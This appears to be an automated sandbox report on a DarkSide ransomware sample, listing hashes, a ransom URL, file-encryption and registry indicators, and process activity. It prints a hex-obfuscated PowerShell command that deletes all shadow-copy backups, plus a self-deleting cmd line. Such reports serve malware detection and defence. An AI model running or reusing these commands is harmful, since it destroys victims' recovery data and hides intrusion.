Analysis
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max time kernel
72s -
max time network
96s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
16-05-2021 21:21
Static task
static1
Behavioral task
behavioral1
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win10v20210410
General
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Target
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
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Size
5.9MB
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MD5
794c5aa1b0e1f9cf2fc7fe5f22117c3f
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SHA1
1821fe210298b1d22b25f1a544abcfe092999ff7
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SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
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SHA512
28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf
Malware Config
Extracted
C:\\README.f2cbf9aa.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\EnterTest.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\ExpandSubmit.tif => C:\Users\Admin\Pictures\ExpandSubmit.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\ExpandSubmit.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\SelectLock.png => C:\Users\Admin\Pictures\SelectLock.png.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\SelectLock.png.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\UpdateDisable.tif => C:\Users\Admin\Pictures\UpdateDisable.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File opened for modification C:\Users\Admin\Pictures\UpdateDisable.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe File renamed C:\Users\Admin\Pictures\EnterTest.tif => C:\Users\Admin\Pictures\EnterTest.tif.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Processes:
resource yara_rule behavioral1/memory/1060-75-0x0000000000240000-0x0000000000BE8000-memory.dmp vmprotect -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2768 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Modifies registry class 5 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exepid process 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1556 powershell.exe 1556 powershell.exe 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSecurityPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeTakeOwnershipPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeLoadDriverPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemProfilePrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemtimePrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeProfSingleProcessPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeIncBasePriorityPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeCreatePagefilePrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeBackupPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRestorePrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeShutdownPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemEnvironmentPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRemoteShutdownPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeUndockPrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeManageVolumePrivilege 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 33 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 34 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 35 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeBackupPrivilege 1784 vssvc.exe Token: SeRestorePrivilege 1784 vssvc.exe Token: SeAuditPrivilege 1784 vssvc.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exedescription pid process target process PID 1060 wrote to memory of 1556 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1060 wrote to memory of 1556 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1060 wrote to memory of 1556 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1060 wrote to memory of 1556 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe powershell.exe PID 1060 wrote to memory of 2768 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 1060 wrote to memory of 2768 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 1060 wrote to memory of 2768 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe PID 1060 wrote to memory of 2768 1060 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵
- Deletes itself
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
901746ed9dfab5c1d84b9fb413e72899
SHA19020bd2fdbce79aa9e3e5b8b8e26ae1e15437ec2
SHA2566831bce606318535d4c1388d54b83687b0ebe3831d9ae98bf8ecb69983217b4f
SHA51256b1b05183ae8ce8ef65749d42e161fab3e6da2e7bcab30acec064bb15d0b2b2ed7aab290c092e22c5f0a59b5ea78fc61bd7b3ad8496e16e697075dac8dd9532
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
6b0bab1d31c04afc3fa06e8389c8c62f
SHA188fef5af4957240df09f53ae771d4422d4acb759
SHA25668ff3f8c831f854654d43612ec785a8257c80785f5ee6b15c5fa5278272d761c
SHA51250d59c657970a9630c99b723bcbbbfceff125a41fa4174929583a0ff409d518ac8c0ebfb9c61deea63f9e8437c8a07ea48e376f6caab6e587a24caa85741610e
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memory/1060-63-0x0000000000130000-0x0000000000131000-memory.dmpFilesize
4KB
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memory/1060-66-0x0000000000160000-0x0000000000161000-memory.dmpFilesize
4KB
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memory/1060-61-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
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memory/1060-68-0x0000000000190000-0x0000000000191000-memory.dmpFilesize
4KB
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memory/1060-74-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
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memory/1060-73-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
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memory/1060-76-0x00000000750C1000-0x00000000750C3000-memory.dmpFilesize
8KB
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memory/1060-75-0x0000000000240000-0x0000000000BE8000-memory.dmpFilesize
9.7MB
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memory/1060-72-0x00000000001D0000-0x00000000001D1000-memory.dmpFilesize
4KB
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memory/1060-70-0x00000000001B0000-0x00000000001B1000-memory.dmpFilesize
4KB
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memory/1060-65-0x0000000000150000-0x0000000000151000-memory.dmpFilesize
4KB
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memory/1060-64-0x0000000000140000-0x0000000000141000-memory.dmpFilesize
4KB
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memory/1060-69-0x00000000001A0000-0x00000000001A1000-memory.dmpFilesize
4KB
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memory/1060-62-0x0000000000120000-0x0000000000121000-memory.dmpFilesize
4KB
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memory/1060-67-0x0000000000180000-0x0000000000181000-memory.dmpFilesize
4KB
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memory/1060-59-0x00000000000F0000-0x00000000000F1000-memory.dmpFilesize
4KB
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memory/1060-71-0x00000000001C0000-0x00000000001C1000-memory.dmpFilesize
4KB
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memory/1060-60-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
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memory/1556-80-0x0000000001DC0000-0x0000000001DC1000-memory.dmpFilesize
4KB
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memory/1556-81-0x000000001AD30000-0x000000001AD31000-memory.dmpFilesize
4KB
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memory/1556-82-0x0000000002440000-0x0000000002441000-memory.dmpFilesize
4KB
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memory/1556-79-0x000007FEFB701000-0x000007FEFB703000-memory.dmpFilesize
8KB
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memory/1556-84-0x000000001B920000-0x000000001B921000-memory.dmpFilesize
4KB
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memory/1556-85-0x00000000026C0000-0x00000000026C1000-memory.dmpFilesize
4KB
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memory/1556-78-0x0000000000000000-mapping.dmp
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memory/1556-83-0x0000000002320000-0x0000000002321000-memory.dmpFilesize
4KB
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memory/2768-88-0x0000000000000000-mapping.dmp